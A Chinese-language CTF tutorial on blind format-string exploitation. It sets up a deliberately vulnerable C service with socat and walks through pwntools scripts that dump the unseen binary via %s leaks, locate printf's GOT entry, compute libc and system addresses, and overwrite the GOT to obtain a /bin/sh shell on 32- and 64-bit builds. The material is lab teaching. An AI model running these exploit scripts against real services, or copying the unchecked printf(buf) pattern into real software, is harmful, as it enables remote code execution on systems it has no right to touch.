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Blind_pwn之格式化字符串
2020-07-07 17:22:42
PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,造成的一切后果与本站无关
可能需要提前了解的知识:
格式化字符串原理&利用
got & plt 调用关系
程序的一般启动过程

原理

格式化字符串盲打指的是只给出可交互的 ip 地址与端口,不给出对应的 binary 文件来让我们无法通过 IDA 分析,其实这个和 BROP 差不多,不过 BROP 利用的是栈溢出,而这里我们利用的是无限格式化字符串漏洞,把在内存中的程序给dump下来。
一般来说,我们按照如下步骤进行
确定程序的位数(不同位数有些许差别)
确定漏洞位置
利用
使用条件
  • 可以读入 '\x00' 字符的
  • 输出函数均是 '\x00' 截断的
  • 能无限使用格式化字符串漏洞
32 位利用手法
实验环境准备
程序源码如下:
#include <stdio.h> 
#include <string.h> 
#include <unistd.h> 
int main(int argc, char *argv[])
{
    setbuf(stdin, 0LL);
    setbuf(stdout, 0LL);
    setbuf(stderr, 0LL);
    int flag;
    char buf[1024];
    FILE* f;

    puts("What's your name?");

    fgets(buf, 1024, stdin);
    printf("Hi, ");
    printf("%s",buf);
    putchar('\n');

    flag = 1;
    while (flag == 1){
        puts("Do you want the flag?");

	memset(buf,'\0',1024);
	read(STDIN_FILENO, buf, 100);
        if (!strcmp(buf, "no\n")){
            printf("I see. Good bye.");
            return 0;
        }else
	{   
	    printf("Your input isn't right:");
	    printf(buf);
	    printf("Please Try again!\n");
	}
	fflush(stdout);
    }
    return 0;
}
编译 32 位文件:
gcc -z execstack -fno-stack-protector -m32 -o leakmemory leakmemory.c
用 socat 挂到端口 10001 上部署:
socat TCP4-LISTEN:10001,fork EXEC:./leakmemory
实验环境完成,如果是本地部署的话,等等在 exp 里面写 remote("127.0.0.1",10001) 模拟没有 binary 的远程盲打情况。
确定程序的位数
用 %p 看看程序回显输出的长度是多少,以此判断程序的位数。这里看到回显是 4 个字节,判断是 32 位程序。可以再多泄露几个,都是 4 字节(含)以下的,确定为 32 位程序。
v2-c1922bfdd23400bb94068b273b0787ef_720w.png
确定格式化字符串偏移
找到格式化字符串的偏移是多少,在后续操作中会用到。由于没有 binary 不能通过调试分析偏移,就采取输入多个 %p 泄露出偏移。为了容易辨认,字符串开始先填充 4 字节 的填充(64位8字节),然后再填入 %p 。
最后确认偏移为 7 。
v2-7cc1a7e85737ec2c23bc3f7acde65f46_720w.png
dump 程序
dump 程序应该选哪个格式化字符串:
%n$s :将第 n 个参数的值作为地址,输出这个地址指向的字符串内容
%n$p :将第 n 个参数的值作为内容,以十六进制形式输出
我们是需要 dump 程序,也就是想获取我们所给定地址的内容,而不是获取我们给定的地址。所以应该用 %n$s 把我们给定地址当作指针,输出给定地址所指向的字符串。结合前面知道格式化字符串偏移为 7 ,payload 应该为:%9$s.TMP[addr] 。
注意:使用 %s 进行输出并不是一个字节一个字节输出,而是一直输出直到遇到 \x00 截止符才会停止,也就是每次泄露的长度是不确定的,可能很长也可能是空。因为 .text 段很可能有连续 \x00 ,所以泄露脚本处理情况有:
  1. 针对每次泄露长度不等,addr 根据每次泄露长度动态增加;
  2. 泄露字符串可能为空,也就是如何处理 \x00 ;
除此之外,还有一个问题是泄露的起始地址在哪里?从各个大佬文章学到两种做法:从 .text 段开始;从程序加载地方开始;两种方法泄露出来程序,在 ida 中呈现有差别。
从程序加载地方开始
先来说省事的,从程序加载地方开始。程序加载地方 32 位和 64 位各不相同:
v2-f7c0e94ba295dab52001011f147567d9_720w.png
32 位:从 0x8048000 开始泄露
64 位:从 0x400000 开始泄露
下面是这条例题的泄露脚本,结合注解分析如何处理上面提到的问题:
#! /usr/bin/env python 
# -*- coding: utf-8 -*- 
from pwn import *
import binascii

r = remote('127.0.0.1',10001)

def leak(addr):
    payload = "%9$s.TMP" + p32(addr)
    r.sendline(payload)
    print "leaking:", hex(addr)
    r.recvuntil('right:')
    ret = r.recvuntil(".TMP",drop=True)
    print "ret:", binascii.hexlify(ret), len(ret)
    remain = r.recvrepeat(0.2)
    return ret

# name
r.recv()
r.sendline('nameaaa')
r.recv()

# leak
begin = 0x8048000
text_seg =''
try:
    while True:
        ret = leak(begin)
        text_seg += ret
        begin += len(ret)
        if len(ret) == 0:   # nil
            begin +=1
            text_seg += '\x00'
except Exception as e:
    print e
finally:
    print '[+]',len(text_seg)
    with open('dump_bin','wb') as f:
        f.write(text_seg)
注解:
  • 19-21 行:处理无关泄露的程序流程后,进入格式化字符串漏洞输入状态
  • 24 行:32 位系统加载地址
  • 9 行:"%9$s.TMP" 中的 .TMP 既是填充对齐,也是分隔符,方便后面处理数据
  • 14 行:使用binascii 将泄漏出来字符串每一个都从 ascii 转换为 十六进制,方便显示
  • 15 行:r.recvrepeat(0.2) 接受返回的垃圾数据,方便下一轮的输入
  • 30 行:泄漏地址动态增加,假如泄漏 1 字节就增加 1 ;泄漏 3 字节就增加 3
  • 31-33 行:处理泄漏长度为 0 ,也就是数据是 \x00 的情况。地址增加 1 ,程序数据加 \x00
运行之后,耐心等待泄漏完成。泄漏出来的程序是不能运行的,但可以在 ida 进过处理可以进行分析、找 plt 、got.plt 等。
将泄漏出来的程序,放入 ida ,启动时选择以 binary file 加载,勾选 Load as code segment,并调整偏移为: 0x8048000 (开始泄露的地址):
 
v2-ee801fd9fdad820011d4703e33d86b42_720w.png
可以通过 shift+F12 查字符串定位到 main 函数,然后直接 F5 反编译:
v2-c1baa2ed5ac139b4878b1d942ae7d91b_720w.png
基本结构已经出来了,盲打没有源代码,就需要根据传入参数去判断哪个 sub_xxx 是哪个函数了。比如输出格式化字符串的 sub_8048490 就是 printf 。
从 .text 段开始
程序启动过程:
v2-9661937677d97fa3ba40bc48536fd78d_720w.png
从 _start 函数开始就是 .text 段,可以在 ida 中打开一个正常的 binary 观察 text 段开头第一个函数就是 _stat :(图为 32 位程序)
v2-06545eb0db0a6a2c77fd2b5994c92532_720w.png
 
先用 %p 泄露出栈上数据,找到两个相同地址,而且这个地址很靠近程序加载初地址(32位:0x8048000;64位:0x400000)。脚本如下:
from pwn import *
import sys

p = remote('127.0.0.1',10001)

p.recv()
p.sendline('nameaaa')
p.recv()

def where_is_start(ret_index=null):
    return_addr=0
    for i in range(400):
        payload = '%%%d$p.TMP' % (i)
        p.sendline(payload)
        p.recvuntil('right:')
        val = p.recvuntil('.TMP')
        log.info(str(i*4)+' '+val.strip().ljust(10))
        if(i*4==ret_index):
            return_addr=int(val.strip('.TMP').ljust(10)[2:],16)
            return return_addr
        p.recvrepeat(0.2)

start_addr=where_is_start()
最后在偏移 1164 和 1188 找到 text 段地址 0x8048510 ,可以对比上图,上图是这条例题的截图:
v2-b1c2f50d6f02ca773a3449dcf36673a6_720w.png
泄露脚本和前面一样只需要修改一下起始地址:
#! /usr/bin/env python 
# -*- coding: utf-8 -*- 
from pwn import *
import binascii
context.log_level = 'info' 
r = remote('127.0.0.1',10001)

def leak(addr):
    payload = "%9$s.TMP" + p32(addr)
    r.sendline(payload)
    print "leaking:", hex(addr)
    r.recvuntil('right:')
    ret = r.recvuntil(".TMP",drop=True)
    print "ret:", binascii.hexlify(ret), len(ret)
    remain = r.recvrepeat(0.2)
    return ret

# name
r.recv()
r.sendline('nameaaa')
r.recv()

# leak
begin = 0x8048510
#begin = 0x8048000
text_seg =''
try:
    while True:
        ret = leak(begin)
        text_seg += ret
        begin += len(ret)
        if len(ret) == 0:   # nil
            begin +=1
            text_seg += '\x00'
except Exception as e:
    print e
finally:
    print '[+]',len(text_seg)
    with open('dump_bin_text','wb') as f:
        f.write(text_seg)
将泄露文件放入 ida 分析,启动时选择以 binary file 加载,勾选Load as code segment,并调整偏移为: 0x8048510 (开始泄露地址):
v2-e2dc68118a479602db978ddc6bbd2a48_720w.png
 
找到 main 函数在 0x0804860B ,需要将这部分定义为函数才能反编译,右键地址隔壁的名称 loc_804860B ,creat function 。
v2-f3c059f87333396c76bce93f3626188d_720w.png
 
红色部分就是没有泄露出来的函数,后面跟的就是函数 plt 地址。
两种方法各有不同,结合实际使用。
解题流程
着重记录格式化字符串盲打,不一步一步分析这道题目漏洞(详细分析:默小西博客)。这道题目思路是:
  1. 确定 printf 的 plt 地址
  2. 通过泄露 plt 表中的指令内容确定对应的 got.plt 表地址
  3. 通过泄露的 got.plt 表地址泄露 printf 函数的地址
  4. 通过泄露的 printf 的函数地址确定 libc 基址,从而获得 system 地址
  5. 使用格式化字符串的任意写功能将 printf 的 got.plt 表中的地址修改为 system 的地址
  6. send 字符串 “/bin/sh” ,那么在调用 printf(“/bin/sh”) 的时候实际上调用的是 system(“/bin/sh;”) ,从而成功获取shell
确定 printf 的 plt 地址
将泄露出来的程序,放入 ida 中分析获得,函数名后半截就是地址 0x8048490 :
v2-761e5327a9d475c5237aa77871311b71_720w.png
泄露 got.plt
和泄露程序 payload 高度相似:
payload = "%9$sskye" + p32(printf_plt)
p.sendline(payload)
# \xff\x25 junk code
p.recvuntil('right:\xff\x25')
printf_got_plt = u32(p.recv(4))
注解:
为什么接收 'right:\xff\x25' ?
right: 是固定回显,\xff\x25 是无用字节码。实际上 0x8048490 的汇编是这样的:
pwndbg> pdisass 0x8048490 
 ► 0x8048490 <printf@plt>       jmp    dword ptr [0x804a018] <0xf7e4d670>

   0x8048496 <printf@plt+6>     push   0x18
   0x804849b <printf@plt+11>    jmp    0x8048450
# 字节码
pwndbg> x /20wx 0x8048490
0x8048490 <printf@plt>:	0xa01825ff	0x18680804	0xe9000000	0xffffffb0
0x8048490 指向是一条跳转 got.plt 指令,我们需要其中跳转的目标地址。\xff\x25 就是跳转指令的字节码,我们就要先接收 2 字节垃圾数据,然后再接收 4 字节的 got.plt 地址。
泄露 printf 函数的地址
构造方法同上,但不需要接收 2 字节垃圾数据:
payload = "%9$sskye" + p32(printf_got_plt)
p.sendline(payload)
p.recvuntil('right:')
printf_got = u32(p.recv(4))
泄露 libc 基址& system 地址
题目没有给出 libc 。从泄露出来的 printf@got 去 libcdatabase 查询其他函数偏移。
payload = "%9$sskye" + p32(printf_got_plt)
p.sendline(payload)
p.recvuntil('right:')
printf_got = u32(p.recv(4))
任意写修改 printf@got.plt
payload = fmtstr_payload(7, {printf_got_plt: system_addr})
p.sendline(payload)
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : skye231@foxmail.com
# @File    : leakmemory_remote.py
from pwn import *
import binascii
context.log_level = 'debug'
p = remote('127.0.0.1',10001)

def leak(addr):
    payload = "%9$s.TMP" + p32(addr)
    p.sendline(payload)
    print "leaking:", hex(addr)
    p.recvuntil('right:')
    resp = p.recvuntil(".TMP")
    ret = resp[:-4:]
    print "ret:", binascii.hexlify(ret), len(ret)
    remain = p.recvrepeat(0.2)
    return ret

printf_plt = 0x8048490

# name
p.recv()
p.sendline('nameaaa')
p.recv()

# leak printf@got.plt
payload = "%9$sskye" + p32(printf_plt)
p.sendline(payload)
# \xff\x25 junk code
p.recvuntil('right:\xff\x25')
printf_got_plt = u32(p.recv(4))
log.info("printf_got_plt:"+hex(printf_got_plt))

# leak printf@got
payload = "%9$sskye" + p32(printf_got_plt)
p.sendline(payload)
p.recvuntil('right:')
printf_got = u32(p.recv(4))
log.info("printf_got:"+hex(printf_got))

# libcdatabase
libc_base = printf_got - 0x00049670
log.info("libc_base:"+hex(libc_base))
system_addr = libc_base + 0x0003ada0
log.info("system_addr:"+hex(system_addr))

# overwrite
payload = fmtstr_payload(7, {printf_got_plt: system_addr})
p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()
64 位利用手法
实验环境准备
还是使用 32 位的例题源码,编译 64 位程序:
gcc -z execstack -fno-stack-protector -o leakmemory_64 leakmemory.c
用 socat 挂到端口 10001 上部署:
socat TCP4-LISTEN:10000,fork EXEC:./leakmemory
实验环境完成,如果是本地部署的话,等等在 exp 里面写 remote("127.0.0.1",10000) 模拟没有 binary 的远程盲打。
确定程序的位数
填充 8 字节,然后再填入 %p ,回显长度是 8 字节。
v2-8b4b17e9beddc31909b2bdf104e5bbc0_720w.png
确定格式化字符串偏移
最后确认偏移为 8 。
v2-be7e6001876701ac57104d13263ce6f9_720w.png
dump 程序
从程序加载地方开始,或者从 text 段开始可以的。这里不再找 text 段起始位置,直接从程序加载地方开始泄露。两个位数程序脚本通用的,改一下参数即可。
64 位程序加载起始地址是:0x400000,下面是对比图:
v2-f7c0e94ba295dab52001011f147567d9_720w.png
脚本还是那个脚本,改一下参数即可:
#! /usr/bin/env python 
# -*- coding: utf-8 -*- 
from pwn import *
import binascii
context.log_level = 'info' 
#r = remote('127.0.0.1',10001)
r = remote('127.0.0.1',10000)

def leak(addr):
    payload = "%9$s.TMP" + p64(addr)
    r.sendline(payload)
    print "leaking:", hex(addr)
    r.recvuntil('right:')
    ret = r.recvuntil(".TMP",drop=True)
    print "ret:", binascii.hexlify(ret), len(ret)
    remain = r.recvrepeat(0.2)
    return ret

# name
r.recv()
r.sendline('moxiaoxi')
r.recv()

# leak
begin = 0x400000#0x8048000
text_seg =''
try:
    while True:
        ret = leak(begin)
        text_seg += ret
        begin += len(ret)
        if len(ret) == 0:   # nil
            begin +=1
            text_seg += '\x00'
except Exception as e:
    print e
finally:
    print '[+]',len(text_seg)
    with open('dump_bin_64','wb') as f:
        f.write(text_seg)
ida 加载参数如图:
v2-a87ac7ffd3df6d1b43a7c6bba5b920af_720w.png
通过字符串定位到 main 函数,这里没有识别为函数,需要手动创建函数。在 0x0400826 右键 creat function ,然后就可以反汇编了。
点进 printf@plt ,里面是跳转到 printf@got.plt 指令,也就是从 ida 知道了:
printf_plt = 0x4006B0
printf_got_plt = 0x601030
解题思路与 32 位一致,利用脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : skye231@foxmail.com
# @File    : leakmemory_64_remote.py
from pwn import *
import binascii
context.log_level = 'debug'
p = remote('127.0.0.1',10000)

def leak(addr):
    payload = "%9$s.TMP" + p64(addr)
    p.sendline(payload)
    print "leaking:", hex(addr)
    p.recvuntil('right:')
    resp = p.recvuntil(".TMP")
    ret = resp[:-4:]
    print "ret:", binascii.hexlify(ret), len(ret)
    remain = p.recvrepeat(0.2)
    return ret

printf_plt = 0x4006B0
printf_got_plt = 0x601030

# name
p.recv()
p.sendline('moxiaoxi')
p.recv()

# leak printf@got
payload = "%9$s.TMP" + p64(printf_got_plt+1)
p.sendline(payload)
p.recvuntil('right:')
printf_got = u64(p.recv(5).ljust(7,'\x00')+'\x00')<<8
log.info("printf_got:"+hex(printf_got))

# libcdatabase
libc_base = printf_got - 0x055800
log.info("libc_base:"+hex(libc_base))
system_addr = libc_base + 0x045390
log.info("system_addr:"+hex(system_addr))

one = p64(system_addr)[:2]
two = p64(system_addr>>16)[:2]

payload = "%9104c%12$hn%54293c%13$hn" + 'a'*7
payload += p64(printf_got_plt) + p64(printf_got_plt+2)


p.sendline(payload)
p.recv()
p.sendline('/bin/sh\x00')


p.interactive()
更多实例
  • axb_2019_fmt32
BUU 上有实验环境,忽略提供的二进制文件,就是盲打题目
  • axb_2019_fmt64
BUU 上有实验环境,忽略提供的二进制文件,就是盲打题目
  • SuCTF2018 - lock2
主办方提供了 docker 镜像: suctf/2018-pwn-lock2
参考
实验推荐
格式化(字符串)溢出实验
(通过该实验,了解格式化溢出原理并掌握其方法)

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